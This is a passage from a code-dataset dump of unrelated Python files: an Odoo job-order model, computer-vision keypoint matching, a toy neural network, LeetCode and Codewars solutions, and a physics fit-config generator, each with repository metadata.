tf.GradientTape() as tape, tf.GradientTape() as dis_tape:\n        loss, dis_loss, _ = compute_loss(model, dis_model, x, pre_training)\n\n    gradients = tape.gradient(loss, model.trainable_variables)\n    dis_gradients = dis_tape.gradient(dis_loss, dis_model.trainable_variables)\n    optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n    optimizer_dis.apply_gradients(zip(dis_gradients, dis_model.trainable_variables))\n","repo_name":"AeroAsukara/DCFAE_07_04-J","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3734449433","text":"from odoo import api,models,fields,_\nfrom odoo.exceptions import ValidationError\nfrom datetime import datetime\n\nclass JoborderProduction(models.Model):\n    _name = 'joborder.production'\n    _rec_name = 'batch_no'\n    _order = 'id desc'\n\n    # @api.depends('qty')\n    def calc_surface_area(self):\n\n        for val in self:\n            rec = self.env['joborder.challan.receipt.line'].search(\n                [('order_id', '=', val.order_ids.id), ('product_id', '=', val.product_id.id)])\n            res = self.env['job.order.line'].search(\n                [('order_id', '=', rec.job_order_id.id), ('product_id', '=', val.product_id.id)])\n\n            # print(rec, '==================rec val ==', rec.unit_price)\n            if val.qty:\n                if res.surface_area == 0:\n                    val.surface_area = 0\n                else:\n                    val.surface_area = (val.qty * res.surface_area)\n                    val.value = (val.qty * res.unit_price)\n\n    order_ids = fields.Many2one('joborder.challan.receipt', string=\"Challan No.\",ondelete='cascade')\n    product_id = fields.Many2one('my.product', 'Product',required=True)\n    # part_id = fields.Many2one('part.number', string='Part No', )\n    part_no=fields.Char('Part No.')\n    unit_id = fields.Many2one('my.unit', 'UOM')\n    qty = fields.Float('Quantity', default=1)\n\n    party_name = fields.Many2one('my.partner', 'Party Name')\n    party_date = fields.Date('Date')\n    expected_qty = fields.Float('OK Qty')\n    rejected_qty = fields.Float('NOT OK Qty')\n    remark = fields.Char('Remark')\n    production_date = fields.Datetime('Production Date')\n    batch_no = fields.Char('Incomeing LOT No.')\n    batch_no_prod = fields.Char('Production LOT No.')\n    process_ids = fields.Many2one('job.process.master', string=\"Process\")\n    rework_qty = fields.Float('Rework Qty')\n    inspection_id = fields.Many2one('joborder.inspection')\n    inspection_count = fields.Integer('Count', compute=\"action_view_job_order_inspection\")\n    invoice_count = fields.Integer('Count', compute=\"action_view_job_order_challan\")\n    joborder_challan_receipt_line_id = fields.Integer('Rec Line_id')\n    challan_issue_count = fields.Integer('Count',compute=\"action_view_job_order_challan_issue\")\n    hold_qty  = fields.Float('Hold Quantity')\n    is_hold = fields.Boolean('Hold', default=False)\n    surface_area = fields.Integer('Surface Area(in²)',compute='calc_surface_area',)# compute='calc_surface_area',\n    value=fields.Float('Value',digits=(10,2),compute='calc_surface_area', )#compute='calc_surface_area',\n    # rq=fields.Float('RecQty')\n    # mq = fields.Float('MoveQty')\n    state = fields.Selection([('draft','Draft'),('confirm','Confirm')],default='draft')\n    bq = fields.Float('BalQty')\n\n    # @api.multi\n    # def unlink(self):\n    #     if self.env.user.id == self.env.ref('base.user_admin').id:\n    #         return super(JoborderProduction, self).unlink()\n    #     else:\n    #         raise ValidationError('You Can not delete a record')\n    @api.multi\n    def unlink(self):\n        if self.state == 'draft':\n            return super(JoborderProduction, self).unlink()\n        else:\n            if self.state != 'draft' and self.env.user.id == self.env.ref('base.user_admin').id:\n                return super(JoborderProduction, self).unlink()\n            else:\n                raise ValidationError('You Can not delete a record')\n\n    def action_move_to_production(self):# update hold qty\n        [action] = self.env.ref('job_order_process.action_wizard_move_update_qty_view111').read()\n        action['view_mode'] = 'form'\n        action['view_mode'] = 'form'\n        action['target'] = 'new'\n        # self.write({'state':typ})\n\n        return action\n\n\n    def action_view_job_order_inspection(self):\n        contract_data = self.env['joborder.inspection'].sudo().read_group(\n            [('production_id', '=', self.id)], ['id'], ['production_id'])\n        result = dict((data['production_id'][0], data['production_id_count']) for data in contract_data)\n        for employee in self:\n            employee.inspection_count = result.get(self.id, 0)\n\n    def open_inspection_history(self):\n        action = self.env.ref('job_order_process.action_challan_inspection').read()[0]\n        action['domain'] = [('production_id', '=', self.id)]\n        return action\n\n    def action_view_job_order_challan(self):\n        contract_data = self.env['joborder.challan'].sudo().read_group(\n            [('production_challan_reference', '=', self.order_ids.name), ('partner_id', '=', self.party_name.id),\n             ('challan_type', '=', 'return'),('challan_line.product_id', '=', self.product_id.id)], ['id'], ['partner_id'])\n        result = dict((data['partner_id'][0], data['partner_id_count']) for data in contract_data)\n        for employee in self:\n            employee.invoice_count = result.get(self.party_name.id, 0)\n\n    def open_partner_history(self):\n        action = self.env.ref('job_order_process.action_challan').read()[0]\n        action['domain'] = [('production_challan_reference', '=', self.order_ids.name), ('partner_id', '=', self.party_name.id),\n             ('challan_type', '=', 'return'),('challan_line.product_id', '=', self.product_id.id)]\n        return action\n\n    def action_view_job_order_challan_issue(self):\n        contract_data = self.env['joborder.challan'].sudo().read_group([('partner_id', '=', self.party_name.id),('challan_type', '=', 'regular'),('challan_line.product_id', '=', self.product_id.id),('challan_line.party_challan','=',self.order_ids.id)], ['id'],\n            ['partner_id'])\n        result = dict((data['partner_id'][0], data['partner_id_count']) for data in contract_data)\n        for employee in self:\n            employee.challan_issue_count = result.get(self.party_name.id, 0)\n\n    def open_challan_issue_history(self):\n        action = self.env.ref('job_order_process.action_challan').read()[0]\n        action['domain'] = [('partner_id', '=', self.party_name.id),('challan_type', '=', 'regular'),('challan_line.product_id', '=', self.product_id.id),('challan_line.party_challan','=',self.order_ids.id)]\n        return action\n\n    def action_return(self):\n        rec = self.env['joborder.challan.receipt.line'].search(\n            [('order_id', '=', self.order_ids.id), ('product_id', '=', self.product_id.id)])\n        res = self.env['joborder.challan']\n        res.create({\n            'partner_id': self.party_name.id,\n            'challan_type': 'return',\n            'production_challan_reference': self.order_ids.name,\n            'challan_line': [(0, 0,\n            {\n                'product_id': self.product_id.id,\n                'party_challan': self.order_ids.id,\n                'qty': self.rejected_qty,\n                # 'part_id': self.part_id.id,\n                'part_no':self.part_no,\n                'unit_id': self.unit_id.id,\n                'job_order_id': rec.job_order_id.id,\n                'joborder_challan_receipt_line_id': rec.id,\n                # 'joborder_challan_receipt_line_id': self.joborder_challan_receipt_line_id,\n            })]\n        })\n        self.is_return = True\n\n    def action_move(self):\n        rec = self.env['joborder.inspection']\n        rec.create({\n            'order_ids': self.order_ids.id,\n            'party_name': self.party_name.id,\n            'party_date': datetime.strptime(str(self.party_date), '%Y-%m-%d').strftime('%Y-%m-%d'),\n            'product_id': self.product_id.id,\n            'qty': self.rework_qty,\n            # 'part_id': self.part_id.id,\n            'part_no':self.part_no,\n            'unit_id': self.unit_id.id,\n            'batch_no':self.batch_no,\n            'inspection_date': self.production_date,\n            'process_ids': self.process_ids.id,\n            'production_id':self.id,\n            'joborder_challan_receipt_line_id': self.joborder_challan_receipt_line_id,\n\n        })\n        self.is_inspection = True\n\n    def action_done(self):\n        rec = self.env['joborder.challan.receipt.line'].search(\n            [('order_id', '=', self.order_ids.id), ('product_id', '=', self.product_id.id)])\n        res = self.env['joborder.challan']\n        res.create({\n            'partner_id': self.party_name.id,\n            'challan_type': 'regular',\n            #'job_order_challan_reference': self.order_ids.name,\n            'challan_line': [(0, 0,\n                              {\n                                  'product_id': self.product_id.id,\n                                  'party_challan': self.order_ids.id,\n                                  'qty': self.expected_qty,\n                                  # 'part_id': self.part_id.id,\n                                  'part_no':self.part_no,\n                                  'unit_id': self.unit_id.id,\n                                  'job_order_id': rec.job_order_id.id,\n                                  'unit_price':rec.unit_price,\n                                  'tax_id':rec.tax_id.id,\n                                  'joborder_challan_receipt_line_id':rec.id,\n\n\n                               })]\n\n        })\n        self.is_issue = True\n\n    # @api.onchange('expected_qty','rejected_qty','rework_qty')\n    # def change_ok_reqork_qty(self):\n    #     total = 0\n    #     total = self.expected_qty + self.rework_qty + self.rejected_qty\n    #     if self.expected_qty and self.rejected_qty and self.rework_qty:\n    #         total = self.expected_qty + self.rework_qty + self.rejected_qty\n    #         if self.expected_qty > self.qty:\n    #             raise  ValidationError(_('Ok qty should not more than the actual quantity'))\n    #         if total > self.qty:\n    #             raise ValidationError(_('Total quantity should not more than the actual quantity'))\n    #         if total < self.qty:\n    #             raise ValidationError(_('Total quantity should not less than the actual quantity'))\n    # @api.constrains('expected_qty','rejected_qty','rework_qty')\n    # def change_ok_reqork_qty(self):\n    #     total = 0\n    #     total = self.expected_qty + self.rework_qty + self.rejected_qty\n    #     if self.expected_qty > self.qty:\n    #         raise  ValidationError(_('Ok qty is not more than the actual quantity'))\n    #     if total > self.qty:\n    #         raise ValidationError(_('Total quantity is not more than the actual quantity'))\n    #     if total < self.qty:\n    #         raise ValidationError(_('Total quantity is not less than the actual quantity'))\n","repo_name":"Mahedi18/odoo_joborder_process","sub_path":"models/order_production.py","file_name":"order_production.py","file_ext":"py","file_size_in_byte":10455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74808073321","text":"def solve(arr):\n    arr = sorted(arr)\n    \n    li = []\n    result = []\n    while arr:\n        try:\n            li.append(max(arr))\n            li.append(min(arr))\n            arr.remove(max(arr))\n            arr.remove(min(arr))\n        except:\n            ''\n    for item in li:\n        if item not in result:\n            result.append(item)\n            \n    return result\n","repo_name":"Benjamin7991/My-Code-Wars-Solutions","sub_path":"7KYU/Max_Min_arrays.py","file_name":"Max_Min_arrays.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36649590711","text":"# find good features\n\n# carry out optical flow\n\n#  nearest neighbor search? dont really understand this part\n\n# ratio test -  its nice to have a slider and visual by this point\n\nfrom rospkg import RosPack\nimport cv2\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom triangulation import calc_F\n\n\ndef get_keypoints(img1_path, img2_path):\n    img1 = cv2.imread(img1_path, cv2.COLOR_BGR2GRAY)\n    img2 = cv2.imread(img2_path, cv2.COLOR_BGR2GRAY)\n    # Create sift detector\n    sift = cv2.SIFT_create()\n\n    # find the keypoints and descriptors with SIFT\n    kp1, des1 = sift.detectAndCompute(img1,None)\n    kp2, des2 = sift.detectAndCompute(img2,None)\n\n    # FLANN parameters\n    FLANN_INDEX_KDTREE = 2\n    index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 7)\n    search_params = dict(checks=50)   # or pass empty dictionary\n    flann = cv2.FlannBasedMatcher(index_params,search_params)\n    matches = flann.knnMatch(des1,des2,k=2)\n    # Need to draw only good matches, so create a mask\n    matchesMask = [[0,0] for i in range(len(matches))]\n    # ratio test as per Lowe's paper\n    good_matches = []\n    pts_img1 = []\n    pts_img2 = []\n    for i,(m,n) in enumerate(matches):\n        if m.distance < 0.35 * n.distance:\n            pts_img2.append(kp2[m.trainIdx].pt)\n            pts_img1.append(kp1[m.queryIdx].pt)\n            matchesMask[i]=[1,0]\n    draw_params = dict(matchColor = (0,255,0),\n                    singlePointColor = (255,0,0),\n                    matchesMask = matchesMask,\n                    flags = cv2.DrawMatchesFlags_DEFAULT)\n    img3 = cv2.drawMatchesKnn(img1,kp1,img2,kp2,matches,None,**draw_params)\n\n    return pts_img1, pts_img2\n\n\npts_img1, pts_img2 = get_keypoints(\"image_1.png\", \"image_2.png\")\n\n# printing out points\n# print('points image 1', pts_img1)\n# print('points image 2', pts_img2)\n\n# F, mask = cv2.findFundamentalMat(pts_img1,pts_img2,cv2.FM_RANSAC)\n\n# finding fundamental matrix\nF = calc_F(pts_img1, pts_img2)\n\n# writing out camera calibration matrix\nK = np.array([[1013.109848, 0.000000, 493.049154],\n              [0.000000, 1013.410857, 390.447766],\n              [0.000000, 0.000000, 1.000000]\n])\n\n# special matrice W used for seperating essential matrix\nW = np.array([[0, -1, 0], [1, 0, 0], [0, 0, 1]])\n# finding essential matrix\nE = np.matmul(np.transpose(K), F, K)\n\n# seperating into rotational and translation matrice options\nU, sigma, V = np.linalg.svd(E)\n\n# options for R and T\nR1 = np.matmul(U, W, np.transpose(V))\nR2 = np.matmul(U, np.transpose(W), np.transpose(V))\nt1 = U[:,[2]]\nt2 = -U[:,[2]]\n\n# four options for camera matrices\nP1_1 = np.hstack([R1, t1])\nP1_2 = np.hstack([R1, -t1])\nP1_3 = np.hstack([R2, t1])\nP1_4 = np.hstack([R2, -t1])\n\nprint('P1', P1_1, 'P1', P1_2)","repo_name":"jackiezeng01/comprobo-computervisionproject","sub_path":"keypoint_matching.py","file_name":"keypoint_matching.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41772886608","text":"import math\nimport random\n\n#TODO bias and bias wt\n\ndef softmax(output_layer_vals):\n\tsoftmax_vals = []\n\tsum_of_vals = 0\n\tmax_val = 0\n\tfor output_layer_val in output_layer_vals:\n\t\tif max_val < output_layer_val:\n\t\t\tmax_val = output_layer_val\n\n\tfor i, output_layer_val in enumerate(output_layer_vals):\n\t\tsum_of_vals += math.exp(output_layer_val - max_val)\n\t\n\tfor i, output_layer_val in enumerate(output_layer_vals):\n\t\tsoftmax_vals.append(math.exp(output_layer_val - max_val)/sum_of_vals)\n\n\treturn softmax_vals\t\n\ndef derivative_softmax(x):\n\treturn x * (1-x)\n\ndef leaky_relu(x):\n\tif x < 0:\n\t\treturn 0.01 *x\n\telse:\n\t\treturn x\t\n\ndef derivative_leaky_relu(x):\n\tif x < 0:\n\t\treturn 0.001\n\telse:\n\t\treturn 1\n\t\t\t\ndef output_function(x):\n\treturn 1/(1 + math.exp(-x))\n\ndef derivative_output_function(x):\n\treturn math.exp(x)/((1-math.exp(x)) * (1-math.exp(x)))\t\n\ndef output_summation(layer, i):\n\tsum = 0\n\tfor neuron in layer.neurons:\n\t\t#print neuron\n\t\tsum += neuron.get_summation(i)\n\treturn sum\n\n\nclass HiddenLayer:\n\tbias = 1\n\tneurons = []\n\tprevLayer = None\n\tnextLayer = None\n\tinputSummation = []\n\n\tdef __init__(self, hidden_layer_size):\n\t\tself.size = hidden_layer_size\n\n\tdef calc_neuron_vals(self):\n\t\tself.inputSummation = []\n\t\tfor i, neuron in enumerate(self.neurons):\n\t\t\tself.inputSummation.append(output_summation(self.prevLayer, i) + self.bias)\n\t\t\tneuron.value = output_function(self.inputSummation[-1])\n\t\t\t#print \"val \", neuron.value\n\n\tdef set_architecture(self, prevLayer, nextLayer):\n\t\tself.prevLayer = prevLayer\n\t\tself.nextLayer = nextLayer\n\t\tbias = 0.5\n\t\tfor i in xrange(self.size):\n\t\t\tself.neurons.append(Neuron())\n\t\t\tfor j, neuron in enumerate(self.prevLayer.neurons):\n\t\t\t\tneuron.outgoing_weights.append(random.uniform(0, 1))\n\n\tdef change_weights(self, rate):\n\t\tfor i, neuron in enumerate(self.neurons):\n\t\t\tneuron.error = derivative_output_function(self.inputSummation[i])\n\t\t\tsumNextErrors = 0\n\t\t\tfor j, nextNeuron in enumerate(self.nextLayer.neurons):\n\t\t\t\tsumNextErrors += neuron.outgoing_weights[i] * nextNeuron.error\n\t\t\tneuron.error *= sumNextErrors\n\t\t\tfor j, prevNeuron in enumerate(self.prevLayer.neurons):\n\t\t\t\tweightDiff = rate * neuron.error * prevNeuron.value\n\t\t\t\tprevNeuron.outgoing_weights[i] += weightDiff\t\n\nclass InputLayer:\n\tneurons = []\n\tnextLayer = None\n\tdef __init__(self, size):\n\t\tself.size = size\n\n\tdef set_architecture(self, nextLayer):\n\t\tfor i in xrange(self.size):\n\t\t\tself.neurons.append(Neuron())\n\t\tself.nextLayer = nextLayer\t\n\n\tdef put_values(self, feature_vector):\n\t\tfor i, feature in enumerate(feature_vector):\n\t\t\tself.neurons[i].value = feature\n\n\nclass OutputLayer:\n\tbias = 1\n\tneurons = []\n\tprevLayer = None\n\tinputSummation = []\n\n\tdef __init__(self, output_size):\n\t\tself.size = output_size\n\n\tdef calc_neuron_vals(self):\n\t\tself.inputSummation = []\n\t\tfor i, neuron in enumerate(self.neurons):\n\t\t\t#print output_summation(self.prevLayer, i)\n\t\t\tself.inputSummation.append(output_summation(self.prevLayer, i) + self.bias)\n\t\tneuron_vals = softmax(self.inputSummation)\n\t\tfor i, neuron in enumerate(self.neurons):\n\t\t\tneuron.value = neuron_vals[i]\n\n\tdef set_architecture(self, hiddenLayer):\n\t\tself.prevLayer = hiddenLayer\n\t\tbias = 0.5\n\t\tfor i in xrange(self.size):\n\t\t\tself.neurons.append(Neuron())\n\t\t\tfor j, neuron in enumerate(self.prevLayer.neurons):\n\t\t\t\tneuron.outgoing_weights.append(random.uniform(0, 1))\n\n\tdef put_values(self, expected_output):\n\t\tself.expected_output = expected_output\n\n\tdef output_diff(self):\n\t\tdiff = []\n\t\tfor i in xrange(self.size):\n\t\t\tdiff.append(self.expected_output[i] - self.neurons[i].value)\n\t\treturn diff\n\n\tdef get_output(self):\n\t\tmax_val = 0\n\t\tmax_pos = 0\n\t\tfor i, neuron in enumerate(self.neurons):\n\t\t\tif max_val < neuron.value:\n\t\t\t\tmax_val = neuron.value\n\t\t\t\tmax_pos = i\n\t\tinps = ['frog', 'bird', 'airplane', 'dog', 'deer', 'truck', 'automobile', 'horse', 'cat', 'ship']\n\t\treturn inps[max_pos]\n\n\tdef change_weights(self, rate):\n\t\tdiff = self.output_diff()\n\t\t#print \"diff \", diff\n\t\tfor i, neuron in enumerate(self.neurons):\n\t\t\tneuron.error = diff[i] * derivative_softmax(neuron.value)\n\t\t\t#print self.inputSummation[i]\n\t\t\tfor j, prevNeuron in enumerate(self.prevLayer.neurons):\n\t\t\t\tweightDiff = rate * neuron.error * prevNeuron.value\n\t\t\t\t#print weightDiff\n\t\t\t\tprevNeuron.outgoing_weights[i] += weightDiff\n\n\nclass Neuron:\n\tvalue = 0\n\toutgoing_weights = []\n\terror = 0\n\tdef __init__(self):\n\t\tpass\n\n\tdef get_summation(self, i):\n\t\treturn self.value * self.outgoing_weights[i]","repo_name":"sidkothiyal/Object-Classification-NN","sub_path":"layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":4414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"27153688868","text":"# coding: utf-8\n# Author: wanhui0729@gmail.com\n\n# https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/description/\n\n'''\nGiven an array of integers that is already sorted in ascending order, find two numbers such that they add up to a specific target number.\n\nThe function twoSum should return indices of the two numbers such that they add up to the target, where index1 must be less than index2.\n\nNote:\n\nYour returned answers (both index1 and index2) are not zero-based.\nYou may assume that each input would have exactly one solution and you may not use the same element twice.\nExample:\n\nInput: numbers = [2,7,11,15], target = 9\nOutput: [1,2]\nExplanation: The sum of 2 and 7 is 9. Therefore index1 = 1, index2 = 2.\n'''\nclass Solution_1(object):\n    '''\n    双指针法\n    时间复杂度: O(n)\n    空间复杂度: O(1)\n    '''\n    def twoSum(self, numbers, target):\n        left, right = 0, len(numbers) - 1\n        while left < right:\n            if numbers[left] + numbers[right] > target:\n                right -= 1\n            if numbers[left] + numbers[right] < target:\n                left += 1\n            if numbers[left] + numbers[right] == target:\n                return [left+1, right+1]\n\nclass Solution_2(object):\n    '''\n    空间换取时间\n    时间复杂度: O(n)\n    空间复杂度: O(n)\n    '''\n    def twoSum(self, numbers, target):\n        visited = {}\n        for index, number in enumerate(numbers):\n            if target - number in visited:\n                return [visited[target - number], index + 1]\n            else:\n                visited[number] = index + 1\n\nif __name__ == '__main__':\n    s1 = Solution_1()\n    s2 = Solution_2()\n    assert s1.twoSum([2, 7, 11, 15], 9) == [1, 2]\n    assert s2.twoSum([2, 7, 11, 15], 9) == [1, 2]\n\n'''\nintuition\n常见处理方法可以想到使用空间换取时间的方法，但是没有利用到已排序的特性\n双指针法则很好的利用了排序的特性且将空间复杂度降到最低\n'''","repo_name":"wan-h/Brainpower","sub_path":"Code/leetcode/code/two-sum-ii-input-array-is-sorted.py","file_name":"two-sum-ii-input-array-is-sorted.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"7970419241","text":"def numbers_searching(*args):\n    min_num = min(*args)\n    max_num = max(*args)\n    result = []\n    seq_example = {x for x in range(min_num,max_num+1)}\n    seq_actual = list(args)\n    seq_actual_Set = set(seq_actual)\n\n    missing_number = seq_example - seq_actual_Set\n    result.append(missing_number.pop())\n\n    list_result = sorted([item for item in seq_example if seq_actual.count(item)>1])\n    result.append(list_result)\n    return(result)\n\n\n\nprint(numbers_searching(1, 2, 4, 2, 5, 4))","repo_name":"PilotChalkanov/python_advanced_softUni_module","sub_path":"10_Exams_Prep/19_Aug_2020/number_searching.py","file_name":"number_searching.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"1453899716","text":"import pathlib\nfrom shutil import copyfile\n\nimport numpy as np\n\np4_sys_names = [\n    \"FT_EFF_B_systematics__1\",\n    \"FT_EFF_C_systematics__1\",\n    \"FT_EFF_Light_systematics__1\",\n    \"FT_EFF_extrapolation__1\",\n    \"FT_EFF_extrapolation_from_charm__1\",\n    \"MUON_EFF_ISO_STAT__1\",\n    \"MUON_EFF_ISO_SYS__1\",\n    \"MUON_EFF_RECO_STAT__1\",\n    \"MUON_EFF_RECO_STAT_LOWPT__1\",\n    \"MUON_EFF_RECO_SYS__1\",\n    \"MUON_EFF_RECO_SYS_LOWPT__1\",\n    \"MUON_EFF_TTVA_STAT__1\",\n    \"MUON_EFF_TTVA_SYS__1\",\n    \"MUON_ID__1\",\n    \"MUON_MS__1\",\n    \"MUON_SAGITTA_RESBIAS__1\",\n    \"MUON_SAGITTA_RHO__1\",\n    \"MUON_SCALE__1\",\n    \"PRW_DATASF__1\",\n]\n\n# parameters\nfit_ntup_dir = \"/data/zprime/ntuples_fit/22-0120-sys\"\nmass_points_low = [5, 7, 9, 11, 13, 15, 17, 19, 23, 27, 31, 35, 39, \"42_low\"]\nmass_points_high = [\"42_mz2\", 45, 48, 51, 54, 57, 60, 63, 66, 69, 72, 75]\n\nmass_points_low_num = [5, 7, 9, 11, 13, 15, 17, 19, 23, 27, 31, 35, 39, 42]\nmass_points_high_num = [42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72, 75]\n\ndnn_cut_dict = {\n    5: 0.46,\n    7: 0.58,\n    9: 0.50,\n    11: 0.60,\n    13: 0.52,\n    15: 0.54,\n    17: 0.54,\n    19: 0.65,\n    23: 0.54,\n    27: 0.65,\n    31: 0.68,\n    35: 0.72,\n    39: 0.74,\n    \"42_low\": 0.74,\n    \"42_mz2\": 0.24,\n    42: 0.16,\n    45: 0.10,\n    48: 0.10,\n    51: 0.14,\n    54: 0.12,\n    57: 0.12,\n    60: 0.12,\n    63: 0.14,\n    66: 0.12,\n    69: 0.16,\n    72: 0.20,\n    75: 0.14,\n}\n\n\ndef get_sigma(mass):\n    # sigma_range = 3.0 * (0.0401444 + 0.0122949 * mass + 0.000140695 * mass * mass)  # @ Bing Li\n    # sigma_range = 3.0 * (0.193 - 0.002 * mass + 0.00035 * mass * mass)  # @ Shuzhou Zhang\n    sigma = np.poly1d(\n        [\n            5.20753537e-08,\n            3.34322964e-08,\n            -2.17314377e-04,\n            2.26208490e-02,\n            -1.81540253e-02,\n        ]\n    )\n    return sigma(mass)\n\n\ndef get_mass_cut(mass):\n    sigma_range = 3 * get_sigma(mass)\n    return (\n        np.around(mass - sigma_range, decimals=2),\n        np.around(mass + sigma_range, decimals=2),\n    )\n\n\ndef get_bin_dict(mass):\n    bin_dict_SR = {}\n    bin_dict_CR = {}\n\n    # 1D case\n    # 10 bins\n    # bin_dict_SR[\"10bins\"], bin_dict_CR[\"10bins\"] = 10, 10\n    # 20 bins\n    # bin_dict_SR[\"20bins\"], bin_dict_CR[\"20bins\"] = 20, 20\n\n    # 10 bins\n    # bin_dict_SR[\"10bins_auto\"] = 'Binning: \"AutoBin\",\"TransfoD\", 5, 5'\n    # bin_dict_CR[\"10bins_auto\"] = 'Binning: \"AutoBin\",\"TransfoD\", 5, 5'\n    # 20 bins\n    bin_dict_SR[\"20bins_auto\"] = 'Binning: \"AutoBin\",\"TransfoD\", 10, 10'\n    bin_dict_CR[\"20bins_auto\"] = 'Binning: \"AutoBin\",\"TransfoD\", 10, 10'\n\n    return bin_dict_SR, bin_dict_CR\n\n\n# Script to create config files\n\nwith open(\"config_template_morph.config\", \"r\") as f:\n    config_temp = f.read()\nwith open(\"config_template_overall_sys_module.config\", \"r\") as f:\n    config_overall_sys_temp = f.read()\nwith open(\"config_template_wt_sys_module.config\", \"r\") as f:\n    config_wt_sys_temp = f.read()\nwith open(\"config_template_p4_sys_module.config\", \"r\") as f:\n    config_p4_sys_temp = f.read()\n\n\ndef prepare_config(\n    mass,\n    region,\n    dnn_cut,\n    mass_left,\n    mass_right,\n    sig_scale_left,\n    sig_scale_right,\n    shift_left,\n    shift_right,\n):\n    # Setups\n    if region == \"low_mass\":\n        fit_var = \"mz2\"\n    else:\n        fit_var = \"mz1\"\n    mass_str = f\"m_{mass:05.2f}\"\n    # regular settings\n    m_low, m_high = get_mass_cut(mass)\n    bin_sr = 'Binning: \"AutoBin\",\"TransfoD\", 10, 10'\n    bin_cr = 'Binning: \"AutoBin\",\"TransfoD\", 10, 10'\n    dnn_label = f\"p{int(dnn_cut*100):02d}\"\n    if region == \"low_mass\":\n        p_cr_low = 0\n        p_cr_high = 45\n    else:\n        p_cr_low = 30\n        p_cr_high = 85\n\n    # Folders\n    stats_dir = pathlib.Path(f\"stats_morph/{mass_str}\")\n    stats_dir.mkdir(parents=True, exist_ok=True)\n    sys_dir = pathlib.Path(f\"sys_morph/{mass_str}\")\n    sys_dir.mkdir(parents=True, exist_ok=True)\n\n    # Stats config\n    stats_config = config_temp.format(\n        p_job=\"default\",\n        p_mass=mass,\n        p_dnn_label=dnn_label,\n        p_fit_var=fit_var,\n        p_ntuple_path=f\"{fit_ntup_dir}/{region}/tree_NOMINAL\",\n        p_mass_cut_low=m_low,\n        p_mass_cut_high=m_high,\n        p_dnn_cut=dnn_cut,\n        p_dnn_cut_label=dnn_label,\n        p_region=region,\n        p_window=np.around(m_high - m_low, decimals=2),\n        p_cr_cut_low=p_cr_low,\n        p_cr_cut_high=p_cr_high,\n        p_cr_low=p_cr_low,\n        p_cr_high=p_cr_high - (m_high - m_low),\n        p_cr_bin=10,\n        p_sr_bin=10,\n        p_binning_cr=bin_sr,\n        p_binning_sr=bin_cr,\n        # For the morphing\n        p_mass_left=mass_left,\n        sig_scale_left=str(sig_scale_left),\n        p_mass_right=mass_right,\n        sig_scale_right=str(sig_scale_right),\n        p_shift_left=str(shift_left),\n        p_shift_right=str(shift_right),\n    )\n    config_name = f\"{mass_str}_cut_{dnn_label}_stats.config\"\n    with stats_dir.joinpath(config_name).open(\"w\", encoding=\"utf-8\") as f:\n        f.write(stats_config)\n\n    # Sys config\n    # add overall sys\n    sys_config = stats_config[:]\n    sys_config += config_overall_sys_temp[:]\n    # add weight systematic config\n    config_wt_config = config_wt_sys_temp.format(\n        p_mass=mass,\n        p_ntuple_path=f\"{fit_ntup_dir}/{region}/tree_NOMINAL\",\n        p_region=region,\n        p_qcd_var=fit_var,\n    )\n    sys_config += config_wt_config\n    # add p4 systematic config\n    for sys_name in p4_sys_names:\n        ntuple_path_up_sig = f\"{fit_ntup_dir}/{region}/tree_{sys_name}up\"\n        ntuple_path_down_sig = f\"{fit_ntup_dir}/{region}/tree_{sys_name}down\"\n        # sig\n        sys_entry = config_p4_sys_temp.format(\n            p_sys_name=sys_name[5:],\n            p_sample=\"Zprime_left\",\n            p_ntuple_path_up=ntuple_path_up_sig,\n            p_ntuple_path_down=ntuple_path_down_sig,\n            p_ntuple_files=f\"sig_Zp{mass_left:03d}\",\n            p_weight_str=f\"weight * {sig_scale_left}\",\n        )\n        sys_config += sys_entry\n\n        sys_entry = config_p4_sys_temp.format(\n            p_sys_name=sys_name[5:],\n            p_sample=\"Zprime_right\",\n            p_ntuple_path_up=ntuple_path_up_sig,\n            p_ntuple_path_down=ntuple_path_down_sig,\n            p_ntuple_files=f\"sig_Zp{mass_right:03d}\",\n            p_weight_str=f\"weight * {sig_scale_right}\",\n        )\n        sys_config += sys_entry\n\n        # bkg\n        ntuple_path_up_bkg = f\"{fit_ntup_dir}/{region}/tree_{sys_name}up\"\n        ntuple_path_down_bkg = f\"{fit_ntup_dir}/{region}/tree_{sys_name}down\"\n        ## add qcd\n        sys_entry = config_p4_sys_temp.format(\n            p_sys_name=sys_name,\n            p_sample=\"ZZ4l\",\n            p_ntuple_path_up=ntuple_path_up_bkg,\n            p_ntuple_path_down=ntuple_path_down_bkg,\n            p_ntuple_files=\"bkg_qcd\",\n            p_weight_str=\"weight\",\n        )\n        sys_config += sys_entry\n        ## add ggZZ\n        sys_entry = config_p4_sys_temp.format(\n            p_sys_name=sys_name,\n            p_sample=\"ggZZ\",\n            p_ntuple_path_up=ntuple_path_up_bkg,\n            p_ntuple_path_down=ntuple_path_down_bkg,\n            p_ntuple_files=\"bkg_ggZZ\",\n            p_weight_str=\"weight\",\n        )\n        sys_config += sys_entry\n    # save\n    config_name = f\"{mass_str}_cut_{dnn_label}_sys.config\"\n    with sys_dir.joinpath(config_name).open(\"w\", encoding=\"utf-8\") as f:\n        f.write(sys_config)\n\n    fit_script_name = \"fit_all.sh\"\n    copyfile(f\"./{fit_script_name}\", stats_dir.joinpath(fit_script_name))\n    copyfile(f\"./{fit_script_name}\", 